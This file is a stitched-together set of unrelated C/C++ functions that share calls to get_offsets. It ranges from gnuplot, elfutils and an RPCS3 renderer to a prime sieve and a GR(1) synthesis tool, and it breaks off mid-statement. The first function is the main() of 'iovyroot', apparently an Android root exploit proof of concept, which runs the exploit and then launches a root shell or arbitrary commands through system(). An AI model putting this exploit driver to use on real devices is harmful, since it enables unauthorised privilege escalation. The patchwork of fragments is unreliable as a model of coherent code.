int main(int argc, char* argv[]) { unsigned int i; int ret = 1; struct offsets* o; printf("iovyroot by zxz0O0\n"); printf("poc by idler1984\n\n"); if(!(o = get_offsets())) return 1; if(setfdlimit()) return 1; if(setprocesspriority()) return 1; if(getpipes()) return 1; if(initmappings()) return 1; ret = getroot(o); //let the threads end sleep(1); close(pipefd[0]); close(pipefd[1]); for(i = 0; i < IOVECS; i++) munmap(MMAP_BASE(i), MMAP_SIZE); if(getuid() == 0) { printf("got root lmao\n"); if(argc <= 1) system("USER=root /system/bin/sh"); else { char cmd[128] = { 0 }; for(i = 1; i < (unsigned int)argc; i++) { if(strlen(cmd) + strlen(argv[i]) > 126) break; strcat(cmd, argv[i]); strcat(cmd, " "); } system(cmd); } } return ret; }
// orchestrates the process of marker overlap removal void adjust_markers(siatkonator_program *program, triangulateio *hull, triangulateio *meshes){ int *offsets = get_offsets(program); for(int i=0; i < program->mesh_count + 1; ++i){ siatkonator_log(DEBUG, "marker range change for mesh %d: %d-%d --> %d-%d\n", i, program->marker_range_start[i], program->marker_range_end[i],program->marker_range_start[i] + offsets[i], program->marker_range_end[i] + offsets[i] ); } for(int i=0; i < program->mesh_count; ++i){ offset_markers(meshes + i, offsets[i]); } offset_markers(hull, offsets[program->mesh_count]); // last mesh will get highest offseted end of range conflict_resolution_init(program, program->marker_range_end[program->mesh_count] + offsets[program->mesh_count]); free(offsets); }
void find_load_str_opcode(unsigned char *data, long size) { long i; data += 0x30; size -= 0x30; size -= 0x10; for (i = 0; i < size; i++) { if (data[i] == 0x00 && data[i + 1] == 0x50 && data[i + 2] == 0x00) { if (data[3] == 0 && data[4] == 0) { i += 6; continue; } long f = get_offsets(&data[i]); opcodes.push_back(i); offsets.push_back(f); i += 6; } } }
/// Returns True if the compasses have been configured (i.e. offsets saved) /// /// @returns True if compass has been configured /// bool Compass::configured(uint8_t i) { // exit immediately if instance is beyond the number of compasses we have available if (i > get_count()) { return false; } // exit immediately if all offsets are zero if (is_zero(get_offsets(i).length())) { return false; } // exit immediately if all offsets (mG) are zero if (is_zero(get_offsets_milligauss(i).length())) { return false; } #if COMPASS_MAX_INSTANCES > 1 // backup detected dev_id int32_t dev_id_orig = _state[i].dev_id; // load dev_id from eeprom _state[i].dev_id.load(); // if different then the device has not been configured if (_state[i].dev_id != dev_id_orig) { // restore device id _state[i].dev_id = dev_id_orig; // return failure return false; } #endif // if we got here then it must be configured return true; }
/* * Write one label, with all the trimmings. * This routine is used for both 2D and 3D plots. */ void write_label(unsigned int x, unsigned int y, struct text_label *this_label) { int htic, vtic; int justify = JUST_TOP; /* This was the 2D default; 3D had CENTRE */ apply_pm3dcolor(&(this_label->textcolor),term); ignore_enhanced(this_label->noenhanced); /* The text itself */ if (this_label->hypertext) { /* Treat text as hypertext */ char *font = this_label->font; if (font) term->set_font(font); if (term->hypertext) term->hypertext(TERM_HYPERTEXT_TOOLTIP, this_label->text); if (font) term->set_font(""); } else { /* A normal label (always print text) */ get_offsets(this_label, term, &htic, &vtic); #ifdef EAM_BOXED_TEXT /* Initialize the bounding box accounting */ if (this_label->boxed && term->boxed_text) (*term->boxed_text)(x + htic, y + vtic, TEXTBOX_INIT); #endif if (this_label->rotate && (*term->text_angle) (this_label->rotate)) { write_multiline(x + htic, y + vtic, this_label->text, this_label->pos, justify, this_label->rotate, this_label->font); (*term->text_angle) (0); } else { write_multiline(x + htic, y + vtic, this_label->text, this_label->pos, justify, 0, this_label->font); } } #ifdef EAM_BOXED_TEXT /* Adjust the bounding box margins */ if (this_label->boxed && term->boxed_text) (*term->boxed_text)((int)(textbox_opts.xmargin * 100.), (int)(textbox_opts.ymargin * 100.), TEXTBOX_MARGINS); if (this_label->boxed && term->boxed_text && textbox_opts.opaque) { /* Blank out the box and reprint the label */ (*term->boxed_text)(0,0, TEXTBOX_BACKGROUNDFILL); if (this_label->rotate && (*term->text_angle) (this_label->rotate)) { write_multiline(x + htic, y + vtic, this_label->text, this_label->pos, justify, this_label->rotate, this_label->font); (*term->text_angle) (0); } else { write_multiline(x + htic, y + vtic, this_label->text, this_label->pos, justify, 0, this_label->font); } } /* Draw the bounding box - FIXME should set line properties first */ if (this_label->boxed && term->boxed_text) { if (!textbox_opts.noborder) (*term->boxed_text)(0,0, TEXTBOX_OUTLINE); else (*term->boxed_text)(0,0, TEXTBOX_FINISH); } #endif /* The associated point, if any */ /* write_multiline() clips text to on_page; do the same for any point */ if ((this_label->lp_properties.flags & LP_SHOW_POINTS) && on_page(x,y)) { term_apply_lp_properties(&this_label->lp_properties); (*term->point) (x, y, this_label->lp_properties.p_type); /* the default label color is that of border */ term_apply_lp_properties(&border_lp); } ignore_enhanced(FALSE); }
int main( int argc, char **argv ) { FILE *fp; FILE *stdin_backup = NULL; bool help_flag = False; bool ptdump_flag = False; bool logging_flag = False; unsigned char verbose = 0; int input_index = -1; int output_file_index = -1; /* For command-line flag "-o". */ char dumpfilename[64]; int i, j, var_index; ptree_t *tmppt; /* General purpose temporary ptree pointer */ int horizon = -1; DdNode *W, *etrans, *strans, **sgoals, **egoals; DdManager *manager; DdNode *T = NULL; anode_t *strategy = NULL; int num_env, num_sys; int original_num_env, original_num_sys; int max_sim_it; /* Number of simulation iterations */ anode_t *play; vartype *init_state; int *init_state_ints = NULL; char *all_vars = NULL, *metric_vars = NULL; int *offw, num_vars; int init_state_acc; /* Accumulate components of initial state before expanding into a (bool) bitvector. */ /* Look for flags in command-line arguments. */ for (i = 1; i < argc; i++) { if (argv[i][0] == '-') { if (argv[i][1] == 'h') { help_flag = True; } else if (argv[i][1] == 'V') { printf( "grjit (experiment-related program, distributed with" " gr1c v" GR1C_VERSION ")\n\n" GR1C_COPYRIGHT "\n" ); return 0; } else if (argv[i][1] == 'v') { verbose = 1; j = 2; /* Only support up to "level 2" of verbosity */ while (argv[i][j] == 'v' && j <= 2) { verbose++; j++; } } else if (argv[i][1] == 'l') { logging_flag = True; } else if (argv[i][1] == 'p') { ptdump_flag = True; } else if (argv[i][1] == 'm') { if (i == argc-1) { fprintf( stderr, "Invalid flag given. Try \"-h\".\n" ); return 1; } all_vars = strtok( argv[i+1], "," ); max_sim_it = strtol( all_vars, NULL, 10 ); all_vars = strtok( NULL, "," ); if (all_vars == NULL) { fprintf( stderr, "Invalid use of -m flag.\n" ); return 1; } metric_vars = strdup( all_vars ); if (max_sim_it >= 0) { all_vars = strtok( NULL, "," ); if (all_vars == NULL) { fprintf( stderr, "Invalid use of -m flag.\n" ); return 1; } init_state_acc = read_state_str( all_vars, &init_state_ints, -1 ); all_vars = strtok( NULL, "," ); if (all_vars == NULL) { horizon = -1; /* The horizon was not given. */ } else { horizon = strtol( all_vars, NULL, 10 ); if (horizon < 1) { fprintf( stderr, "Invalid use of -m flag. Horizon must" " be positive.\n" ); return 1; } } } all_vars = NULL; i++; } else if (argv[i][1] == 'o') { if (i == argc-1) { fprintf( stderr, "Invalid flag given. Try \"-h\".\n" ); return 1; } output_file_index = i+1; i++; } else { fprintf( stderr, "Invalid flag given. Try \"-h\".\n" ); return 1; } } else if (input_index < 0) { /* Use first non-flag argument as filename whence to read specification. */ input_index = i; } } if (help_flag) { /* Split among printf() calls to conform with ISO C90 string length */ printf( "Usage: %s [-hVvlp] [-m ARG1,ARG2,...] [-o FILE] [FILE]\n\n" " -h this help message\n" " -V print version and exit\n" " -v be verbose; use -vv to be more verbose\n" " -l enable logging\n" " -p dump parse trees to DOT files, and echo formulas to screen\n" " -o FILE output results to FILE, rather than stdout (default)\n", argv[0] ); printf( " -m ARG1,... run simulation using comma-separated list of arguments:\n" " ARG1 is the max simulation duration; -1 to only compute horizon;\n" " ARG2 is a space-separated list of metric variables;\n" " ARG3 is a space-separated list of initial values;\n" " ARG3 is ignored and may be omitted if ARG1 equals -1.\n" " ARG4 is the horizon, if provided; otherwise compute it.\n" ); return 1; } if (logging_flag) { openlogfile( NULL ); /* Use default filename prefix */ /* Only change verbosity level if user did not specify it */ if (verbose == 0) verbose = 1; } else { setlogstream( stdout ); setlogopt( LOGOPT_NOTIME ); } if (verbose > 0) logprint( "Running with verbosity level %d.", verbose ); /* If filename for specification given at command-line, then use it. Else, read from stdin. */ if (input_index > 0) { fp = fopen( argv[input_index], "r" ); if (fp == NULL) { perror( "grjit, fopen" ); return -1; } stdin_backup = stdin; stdin = fp; } /* Parse the specification. */ if (verbose) logprint( "Parsing input..." ); SPC_INIT( spc ); if (yyparse()) return -1; if (verbose) logprint( "Done." ); if (stdin_backup != NULL) { stdin = stdin_backup; } /* Close input file, if opened. */ if (input_index > 0) fclose( fp ); /* Treat deterministic problem in which ETRANS or EINIT is omitted. */ if (spc.evar_list == NULL) { if (spc.et_array_len == 0) { spc.et_array_len = 1; spc.env_trans_array = malloc( sizeof(ptree_t *) ); if (spc.env_trans_array == NULL) { perror( "gr1c, malloc" ); return -1; } *spc.env_trans_array = init_ptree( PT_CONSTANT, NULL, 1 ); } if (spc.env_init == NULL) spc.env_init = init_ptree( PT_CONSTANT, NULL, 1 ); } /* Number of variables, before expansion of those that are nonboolean */ original_num_env = tree_size( spc.evar_list ); original_num_sys = tree_size( spc.svar_list ); /* Build list of variable names if needed for simulation, storing the result as a string in all_vars */ if (max_sim_it >= 0) { /* At this point, init_state_acc should contain the number of integers read by read_state_str() during command-line argument parsing. */ if (init_state_acc != original_num_env+original_num_sys) { fprintf( stderr, "Number of initial values given does not match number" " of problem variables.\n" ); return 1; } num_vars = 0; tmppt = spc.evar_list; while (tmppt) { num_vars += strlen( tmppt->name )+1; tmppt = tmppt->left; } tmppt = spc.svar_list; while (tmppt) { num_vars += strlen( tmppt->name )+1; tmppt = tmppt->left; } all_vars = malloc( num_vars*sizeof(char) ); if (all_vars == NULL) { perror( "main, malloc" ); return -1; } i = 0; tmppt = spc.evar_list; while (tmppt) { strncpy( all_vars+i, tmppt->name, num_vars-i ); i += strlen( tmppt->name )+1; *(all_vars+i-1) = ' '; tmppt = tmppt->left; } tmppt = spc.svar_list; while (tmppt) { strncpy( all_vars+i, tmppt->name, num_vars-i ); i += strlen( tmppt->name )+1; *(all_vars+i-1) = ' '; tmppt = tmppt->left; } *(all_vars+i-1) = '\0'; if (verbose) logprint( "String of all variables found to be \"%s\"", all_vars ); } if (ptdump_flag) { tree_dot_dump( spc.env_init, "env_init_ptree.dot" ); tree_dot_dump( spc.sys_init, "sys_init_ptree.dot" ); for (i = 0; i < spc.et_array_len; i++) { snprintf( dumpfilename, sizeof(dumpfilename), "env_trans%05d_ptree.dot", i ); tree_dot_dump( *(spc.env_trans_array+i), dumpfilename ); } for (i = 0; i < spc.st_array_len; i++) { snprintf( dumpfilename, sizeof(dumpfilename), "sys_trans%05d_ptree.dot", i ); tree_dot_dump( *(spc.sys_trans_array+i), dumpfilename ); } if (spc.num_egoals > 0) { for (i = 0; i < spc.num_egoals; i++) { snprintf( dumpfilename, sizeof(dumpfilename), "env_goal%05d_ptree.dot", i ); tree_dot_dump( *(spc.env_goals+i), dumpfilename ); } } if (spc.num_sgoals > 0) { for (i = 0; i < spc.num_sgoals; i++) { snprintf( dumpfilename, sizeof(dumpfilename), "sys_goal%05d_ptree.dot", i ); tree_dot_dump( *(spc.sys_goals+i), dumpfilename ); } } var_index = 0; printf( "Environment variables (indices; domains): " ); if (spc.evar_list == NULL) { printf( "(none)" ); } else { tmppt = spc.evar_list; while (tmppt) { if (tmppt->value == 0) { /* Boolean */ if (tmppt->left == NULL) { printf( "%s (%d; bool)", tmppt->name, var_index ); } else { printf( "%s (%d; bool), ", tmppt->name, var_index); } } else { if (tmppt->left == NULL) { printf( "%s (%d; {0..%d})", tmppt->name, var_index, tmppt->value ); } else { printf( "%s (%d; {0..%d}), ", tmppt->name, var_index, tmppt->value ); } } tmppt = tmppt->left; var_index++; } } printf( "\n\n" ); printf( "System variables (indices; domains): " ); if (spc.svar_list == NULL) { printf( "(none)" ); } else { tmppt = spc.svar_list; while (tmppt) { if (tmppt->value == 0) { /* Boolean */ if (tmppt->left == NULL) { printf( "%s (%d; bool)", tmppt->name, var_index ); } else { printf( "%s (%d; bool), ", tmppt->name, var_index ); } } else { if (tmppt->left == NULL) { printf( "%s (%d; {0..%d})", tmppt->name, var_index, tmppt->value ); } else { printf( "%s (%d; {0..%d}), ", tmppt->name, var_index, tmppt->value ); } } tmppt = tmppt->left; var_index++; } } printf( "\n\n" ); print_GR1_spec( spc.evar_list, spc.svar_list, spc.env_init, spc.sys_init, spc.env_trans_array, spc.et_array_len, spc.sys_trans_array, spc.st_array_len, spc.env_goals, spc.num_egoals, spc.sys_goals, spc.num_sgoals, stdout ); } if (expand_nonbool_GR1( spc.evar_list, spc.svar_list, &spc.env_init, &spc.sys_init, &spc.env_trans_array, &spc.et_array_len, &spc.sys_trans_array, &spc.st_array_len, &spc.env_goals, spc.num_egoals, &spc.sys_goals, spc.num_sgoals, verbose ) < 0) return -1; spc.nonbool_var_list = expand_nonbool_variables( &spc.evar_list, &spc.svar_list, verbose ); if (spc.et_array_len > 1) { spc.env_trans = merge_ptrees( spc.env_trans_array, spc.et_array_len, PT_AND ); } else if (spc.et_array_len == 1) { spc.env_trans = *spc.env_trans_array; } else { fprintf( stderr, "Syntax error: GR(1) specification is missing environment" " transition rules.\n" ); return -1; } if (spc.st_array_len > 1) { spc.sys_trans = merge_ptrees( spc.sys_trans_array, spc.st_array_len, PT_AND ); } else if (spc.st_array_len == 1) { spc.sys_trans = *spc.sys_trans_array; } else { fprintf( stderr, "Syntax error: GR(1) specification is missing system" " transition rules.\n" ); return -1; } if (verbose > 1) /* Dump the spec to show results of conversion (if any). */ print_GR1_spec( spc.evar_list, spc.svar_list, spc.env_init, spc.sys_init, spc.env_trans_array, spc.et_array_len, spc.sys_trans_array, spc.st_array_len, spc.env_goals, spc.num_egoals, spc.sys_goals, spc.num_sgoals, NULL ); num_env = tree_size( spc.evar_list ); num_sys = tree_size( spc.svar_list ); manager = Cudd_Init( 2*(num_env+num_sys), 0, CUDD_UNIQUE_SLOTS, CUDD_CACHE_SLOTS, 0 ); Cudd_SetMaxCacheHard( manager, (unsigned int)-1 ); Cudd_AutodynEnable( manager, CUDD_REORDER_SAME ); T = check_realizable( manager, EXIST_SYS_INIT, verbose ); if (verbose) { if (T != NULL) { logprint( "Realizable." ); } else { logprint( "Not realizable." ); } } if (T != NULL) { /* Print measure data and simulate. */ if (horizon < 0) { if (verbose) logprint( "Computing horizon with metric variables: %s", metric_vars ); horizon = compute_horizon( manager, &W, &etrans, &strans, &sgoals, metric_vars, verbose ); logprint( "horizon: %d", horizon ); if (getlogstream() != stdout) printf( "horizon: %d\n", horizon ); } else { W = compute_winning_set_saveBDDs( manager, &etrans, &strans, &egoals, &sgoals, verbose ); if (verbose) logprint( "Using given horizon: %d", horizon ); } if (max_sim_it >= 0 && horizon > -1) { /* Compute variable offsets and use it to get the initial state as a bitvector */ offw = get_offsets( all_vars, &num_vars ); if (num_vars != original_num_env+original_num_sys) { fprintf( stderr, "Error while computing bitwise variable offsets.\n" ); return -1; } free( all_vars ); init_state_acc = 0; if (verbose) { logprint_startline(); logprint_raw( "initial state for simulation:" ); } for (i = 0; i < original_num_env+original_num_sys; i++) { if (verbose) logprint_raw( " %d", *(init_state_ints+i) ); init_state_acc += *(init_state_ints+i) << *(offw + 2*i); } if (verbose) logprint_endline(); free( offw ); init_state = int_to_bitvec( init_state_acc, num_env+num_sys ); if (init_state == NULL) return -1; play = sim_rhc( manager, W, etrans, strans, sgoals, metric_vars, horizon, init_state, max_sim_it, verbose ); if (play == NULL) { fprintf( stderr, "Error while attempting receding horizon" " simulation.\n" ); return -1; } free( init_state ); logprint( "play length: %d", aut_size( play ) ); tmppt = spc.nonbool_var_list; while (tmppt) { aut_compact_nonbool( play, spc.evar_list, spc.svar_list, tmppt->name, tmppt->value ); tmppt = tmppt->left; } num_env = tree_size( spc.evar_list ); num_sys = tree_size( spc.svar_list ); /* Open output file if specified; else point to stdout. */ if (output_file_index >= 0) { fp = fopen( argv[output_file_index], "w" ); if (fp == NULL) { perror( "grjit, fopen" ); return -1; } } else { fp = stdout; } /* Print simulation trace */ dump_simtrace( play, spc.evar_list, spc.svar_list, fp ); if (fp != stdout) fclose( fp ); } Cudd_RecursiveDeref( manager, W ); Cudd_RecursiveDeref( manager, etrans ); Cudd_RecursiveDeref( manager, strans ); } /* Clean-up */ free( metric_vars ); delete_tree( spc.evar_list ); delete_tree( spc.svar_list ); delete_tree( spc.env_init ); delete_tree( spc.sys_init ); delete_tree( spc.env_trans ); delete_tree( spc.sys_trans ); for (i = 0; i < spc.num_egoals; i++) delete_tree( *(spc.env_goals+i) ); if (spc.num_egoals > 0) free( spc.env_goals ); for (i = 0; i < spc.num_sgoals; i++) delete_tree( *(spc.sys_goals+i) ); if (spc.num_sgoals > 0) free( spc.sys_goals ); if (T != NULL) Cudd_RecursiveDeref( manager, T ); if (strategy) delete_aut( strategy ); if (verbose > 1) logprint( "Cudd_CheckZeroRef -> %d", Cudd_CheckZeroRef( manager ) ); Cudd_Quit(manager); if (logging_flag) closelogfile(); /* Return 0 if realizable, -1 if not realizable. */ if (T != NULL) { return 0; } else { return -1; } return 0; }
void GLGSRender::read_buffers() { if (!draw_fbo) return; glDisable(GL_STENCIL_TEST); if (g_cfg_rsx_read_color_buffers) { auto color_format = rsx::internals::surface_color_format_to_gl(rsx::method_registers.surface_color()); auto read_color_buffers = [&](int index, int count) { u32 width = rsx::method_registers.surface_clip_width(); u32 height = rsx::method_registers.surface_clip_height(); const std::array<u32, 4> offsets = get_offsets(); const std::array<u32, 4 > locations = get_locations(); const std::array<u32, 4 > pitchs = get_pitchs(); for (int i = index; i < index + count; ++i) { u32 offset = offsets[i]; u32 location = locations[i]; u32 pitch = pitchs[i]; if (!surface_info[i].pitch) continue; rsx::tiled_region color_buffer = get_tiled_address(offset, location & 0xf); u32 texaddr = (u32)((u64)color_buffer.ptr - (u64)vm::base(0)); bool success = m_gl_texture_cache.load_rtt((*std::get<1>(m_rtts.m_bound_render_targets[i])), texaddr, pitch); //Fall back to slower methods if the image could not be fetched from cache. if (!success) { if (!color_buffer.tile) { __glcheck std::get<1>(m_rtts.m_bound_render_targets[i])->copy_from(color_buffer.ptr, color_format.format, color_format.type); } else { u32 range = pitch * height; m_gl_texture_cache.invalidate_range(texaddr, range); std::unique_ptr<u8[]> buffer(new u8[pitch * height]); color_buffer.read(buffer.get(), width, height, pitch); __glcheck std::get<1>(m_rtts.m_bound_render_targets[i])->copy_from(buffer.get(), color_format.format, color_format.type); } } } }; switch (rsx::method_registers.surface_color_target()) { case rsx::surface_target::none: break; case rsx::surface_target::surface_a: read_color_buffers(0, 1); break; case rsx::surface_target::surface_b: read_color_buffers(1, 1); break; case rsx::surface_target::surfaces_a_b: read_color_buffers(0, 2); break; case rsx::surface_target::surfaces_a_b_c: read_color_buffers(0, 3); break; case rsx::surface_target::surfaces_a_b_c_d: read_color_buffers(0, 4); break; } } if (g_cfg_rsx_read_depth_buffer) { //TODO: use pitch u32 pitch = depth_surface_info.pitch; if (!pitch) return; u32 depth_address = rsx::get_address(rsx::method_registers.surface_z_offset(), rsx::method_registers.surface_z_dma()); bool in_cache = m_gl_texture_cache.load_rtt((*std::get<1>(m_rtts.m_bound_depth_stencil)), depth_address, pitch); if (in_cache) return; //Read failed. Fall back to slow s/w path... auto depth_format = rsx::internals::surface_depth_format_to_gl(rsx::method_registers.surface_depth_fmt()); int pixel_size = rsx::internals::get_pixel_size(rsx::method_registers.surface_depth_fmt()); gl::buffer pbo_depth; __glcheck pbo_depth.create(rsx::method_registers.surface_clip_width() * rsx::method_registers.surface_clip_height() * pixel_size); __glcheck pbo_depth.map([&](GLubyte* pixels) { u32 depth_address = rsx::get_address(rsx::method_registers.surface_z_offset(), rsx::method_registers.surface_z_dma()); if (rsx::method_registers.surface_depth_fmt() == rsx::surface_depth_format::z16) { u16 *dst = (u16*)pixels; const be_t<u16>* src = vm::ps3::_ptr<u16>(depth_address); for (int i = 0, end = std::get<1>(m_rtts.m_bound_depth_stencil)->width() * std::get<1>(m_rtts.m_bound_depth_stencil)->height(); i < end; ++i) { dst[i] = src[i]; } } else { u32 *dst = (u32*)pixels; const be_t<u32>* src = vm::ps3::_ptr<u32>(depth_address); for (int i = 0, end = std::get<1>(m_rtts.m_bound_depth_stencil)->width() * std::get<1>(m_rtts.m_bound_depth_stencil)->height(); i < end; ++i) { dst[i] = src[i]; } } }, gl::buffer::access::write); __glcheck std::get<1>(m_rtts.m_bound_depth_stencil)->copy_from(pbo_depth, depth_format.format, depth_format.type); } }
ptrdiff_t dwarf_getpubnames (Dwarf *dbg, int (*callback) (Dwarf *, Dwarf_Global *, void *), void *arg, ptrdiff_t offset) { if (dbg == NULL) return -1l; if (unlikely (offset < 0)) { __libdw_seterrno (DWARF_E_INVALID_OFFSET); return -1l; } /* Make sure it is a valid offset. */ if (unlikely (dbg->sectiondata[IDX_debug_pubnames] == NULL || ((size_t) offset >= dbg->sectiondata[IDX_debug_pubnames]->d_size))) /* No (more) entry. */ return 0; /* If necessary read the set information. */ if (dbg->pubnames_nsets == 0 && unlikely (get_offsets (dbg) != 0)) return -1l; /* Find the place where to start. */ size_t cnt; if (offset == 0) { cnt = 0; offset = dbg->pubnames_sets[0].set_start; } else { for (cnt = 0; cnt + 1 < dbg->pubnames_nsets; ++cnt) if ((Dwarf_Off) offset >= dbg->pubnames_sets[cnt].set_start) { assert ((Dwarf_Off) offset < dbg->pubnames_sets[cnt + 1].set_start); break; } assert (cnt + 1 < dbg->pubnames_nsets); } unsigned char *startp = (unsigned char *) dbg->sectiondata[IDX_debug_pubnames]->d_buf; unsigned char *endp = startp + dbg->sectiondata[IDX_debug_pubnames]->d_size; unsigned char *readp = startp + offset; while (1) { Dwarf_Global gl; gl.cu_offset = (dbg->pubnames_sets[cnt].cu_offset + dbg->pubnames_sets[cnt].cu_header_size); while (1) { /* READP points to the next offset/name pair. */ if (readp + dbg->pubnames_sets[cnt].address_len > endp) goto invalid_dwarf; if (dbg->pubnames_sets[cnt].address_len == 4) gl.die_offset = read_4ubyte_unaligned_inc (dbg, readp); else gl.die_offset = read_8ubyte_unaligned_inc (dbg, readp); /* If the offset is zero we reached the end of the set. */ if (gl.die_offset == 0) break; /* Add the CU offset. */ gl.die_offset += dbg->pubnames_sets[cnt].cu_offset; gl.name = (char *) readp; readp = (unsigned char *) memchr (gl.name, '\0', endp - readp); if (unlikely (readp == NULL)) { invalid_dwarf: __libdw_seterrno (DWARF_E_INVALID_DWARF); return -1l; } readp++; /* We found name and DIE offset. Report it. */ if (callback (dbg, &gl, arg) != DWARF_CB_OK) { /* The user wants us to stop. Return the offset of the next entry. */ return readp - startp; } } if (++cnt == dbg->pubnames_nsets) /* This was the last set. */ break; startp = (unsigned char *) dbg->sectiondata[IDX_debug_pubnames]->d_buf; readp = startp + dbg->pubnames_sets[cnt].set_start; } /* We are done. No more entries. */ return 0; }
void sieve_line(thread_soedata_t *thread_data) { //extract stuff from the thread data structure soe_dynamicdata_t *ddata = &thread_data->ddata; soe_staticdata_t *sdata = &thread_data->sdata; uint32 current_line = thread_data->current_line; uint8 *line = thread_data->sdata.lines[current_line]; //stuff for bucket sieving soe_bucket_t *bptr; soe_bucket_t **buckets; uint32 *nptr; uint32 linesize = FLAGSIZE * sdata->blocks, bnum; uint8 *flagblock; uint64 i,j,k; uint32 prime; uint32 maxP; ddata->lblk_b = sdata->lowlimit + sdata->rclass[current_line]; ddata->ublk_b = sdata->blk_r + ddata->lblk_b - sdata->prodN; ddata->blk_b_sqrt = (uint32)(sqrt(ddata->ublk_b + sdata->prodN)) + 1; //for the current line, find the offsets of each small/med prime past the low limit //and bucket sieve large primes get_offsets(thread_data); flagblock = line; for (i=0; i<sdata->blocks; i++) { //set all flags for this block, which also puts it into cache for the sieving //to follow memset(flagblock,255,BLOCKSIZE); //smallest primes use special methods pre_sieve(ddata, sdata, flagblock); //one is not a prime if (sdata->sieve_range == 0) { if ((sdata->rclass[current_line] == 1) && (sdata->lowlimit <= 1) && (i == 0)) flagblock[0] &= 0xfe; } else { if ((sdata->rclass[current_line] == 1) && (mpz_cmp_ui(*sdata->offset, 1) <= 0) && (i == 0)) flagblock[0] &= 0xfe; } //unroll the loop: all primes less than this max hit the interval at least 16 times maxP = FLAGSIZE >> 4; for (j=10; j<ddata->pbounds[i]; j++) { uint32 tmpP; uint64 stop; uint64 p1,p2,p3; prime = sdata->sieve_p[j]; if (prime > maxP) break; tmpP = prime << 4; stop = FLAGSIZE - tmpP + prime; k=ddata->offsets[j]; p1 = prime; p2 = p1 + prime; p3 = p2 + prime; while (k < stop) { flagblock[k>>3] &= masks[k&7]; flagblock[(k+p1)>>3] &= masks[(k+p1)&7]; flagblock[(k+p2)>>3] &= masks[(k+p2)&7]; flagblock[(k+p3)>>3] &= masks[(k+p3)&7]; k += (prime << 2); flagblock[k>>3] &= masks[k&7]; flagblock[(k+p1)>>3] &= masks[(k+p1)&7]; flagblock[(k+p2)>>3] &= masks[(k+p2)&7]; flagblock[(k+p3)>>3] &= masks[(k+p3)&7]; k += (prime << 2); flagblock[k>>3] &= masks[k&7]; flagblock[(k+p1)>>3] &= masks[(k+p1)&7]; flagblock[(k+p2)>>3] &= masks[(k+p2)&7]; flagblock[(k+p3)>>3] &= masks[(k+p3)&7]; k += (prime << 2); flagblock[k>>3] &= masks[k&7]; flagblock[(k+p1)>>3] &= masks[(k+p1)&7]; flagblock[(k+p2)>>3] &= masks[(k+p2)&7]; flagblock[(k+p3)>>3] &= masks[(k+p3)&7]; k += (prime << 2); } for (; k<FLAGSIZE; k+=prime) flagblock[k>>3] &= masks[k&7]; //if ((j >= 2) && (j <= 10)) //{ // printf("actual = %lx; next offset = %u\n",flagblock64[0], k - FLAGSIZE); //} ddata->offsets[j]= (uint32)(k - FLAGSIZE); } //unroll the loop: all primes less than this max hit the interval at least 8 times maxP = FLAGSIZE >> 3; for (; j<ddata->pbounds[i]; j++) { uint32 tmpP; uint64 stop; uint64 p2, p4; prime = sdata->sieve_p[j]; if (prime > maxP) break; tmpP = prime << 3; stop = FLAGSIZE - tmpP + prime; k=ddata->offsets[j]; p2 = prime<<1; p4 = prime<<2; while (k < stop) { flagblock[k>>3] &= masks[k&7]; //0 * prime flagblock[(k+prime)>>3] &= masks[(k+prime)&7]; //1 * prime flagblock[(k+p2)>>3] &= masks[(k+p2)&7]; //2 * prime flagblock[(k+prime+p2)>>3] &= masks[(k+prime+p2)&7]; //3 * prime flagblock[(k+p4)>>3] &= masks[(k+p4)&7]; //4 * prime flagblock[(k+prime+p4)>>3] &= masks[(k+prime+p4)&7]; //5 * prime flagblock[(k+p2+p4)>>3] &= masks[(k+p2+p4)&7]; //6 * prime flagblock[(k+prime+p2+p4)>>3] &= masks[(k+prime+p2+p4)&7]; //7 * prime k += (prime << 3); //advance } for (; k<FLAGSIZE; k+=prime) //finish flagblock[k>>3] &= masks[k&7]; ddata->offsets[j]= (uint32)(k - FLAGSIZE); } //unroll the loop: all primes less than this max hit the interval at least 4 times maxP = FLAGSIZE >> 2; for (; j<ddata->pbounds[i]; j++) { uint32 tmpP; uint64 stop; uint64 p2; prime = sdata->sieve_p[j]; if (prime > maxP) break; tmpP = prime << 2; stop = FLAGSIZE - tmpP + prime; k=ddata->offsets[j]; p2 = prime<<1; while (k < stop) { flagblock[k>>3] &= masks[k&7]; //0 * prime flagblock[(k+prime)>>3] &= masks[(k+prime)&7]; //1 * prime flagblock[(k+p2)>>3] &= masks[(k+p2)&7]; //2 * prime flagblock[(k+prime+p2)>>3] &= masks[(k+prime+p2)&7]; //3 * prime k += (prime << 2); //advance } for (; k<FLAGSIZE; k+=prime) //finish flagblock[k>>3] &= masks[k&7]; ddata->offsets[j]= (uint32)(k - FLAGSIZE); } if (ddata->bucket_depth > 0) { //finish the primes greater than (flagblocklimit >> 2) that we //didn't unroll prior to proceeding with the bucket sieving. for (; j<ddata->pbounds[i]; j++) { prime = sdata->sieve_p[j]; if (prime > BUCKETSTARTP) break; for (k=ddata->offsets[j]; k<FLAGSIZE; k+=prime) flagblock[k>>3] &= masks[k&7]; ddata->offsets[j]= (uint32)(k - FLAGSIZE); } //finally, fill any primes in this block's bucket bptr = ddata->sieve_buckets[i]; buckets = ddata->sieve_buckets; nptr = ddata->bucket_hits; //printf("unloading %d hits in block %d of line %d\n",nptr[i],i,thread_data->current_line); for (j=0; j < (nptr[i] & (uint32)(~7)); j+=8) { //unload 8 hits flagblock[(bptr[j + 0].root & FLAGSIZEm1) >> 3] &= masks[(bptr[j + 0].root & FLAGSIZEm1) & 7]; flagblock[(bptr[j + 1].root & FLAGSIZEm1) >> 3] &= masks[(bptr[j + 1].root & FLAGSIZEm1) & 7]; flagblock[(bptr[j + 2].root & FLAGSIZEm1) >> 3] &= masks[(bptr[j + 2].root & FLAGSIZEm1) & 7]; flagblock[(bptr[j + 3].root & FLAGSIZEm1) >> 3] &= masks[(bptr[j + 3].root & FLAGSIZEm1) & 7]; flagblock[(bptr[j + 4].root & FLAGSIZEm1) >> 3] &= masks[(bptr[j + 4].root & FLAGSIZEm1) & 7]; flagblock[(bptr[j + 5].root & FLAGSIZEm1) >> 3] &= masks[(bptr[j + 5].root & FLAGSIZEm1) & 7]; flagblock[(bptr[j + 6].root & FLAGSIZEm1) >> 3] &= masks[(bptr[j + 6].root & FLAGSIZEm1) & 7]; flagblock[(bptr[j + 7].root & FLAGSIZEm1) >> 3] &= masks[(bptr[j + 7].root & FLAGSIZEm1) & 7]; //then compute their next hit and update the roots while they are //still fresh in the cache bptr[j + 0].root += bptr[j + 0].prime; bptr[j + 1].root += bptr[j + 1].prime; bptr[j + 2].root += bptr[j + 2].prime; if 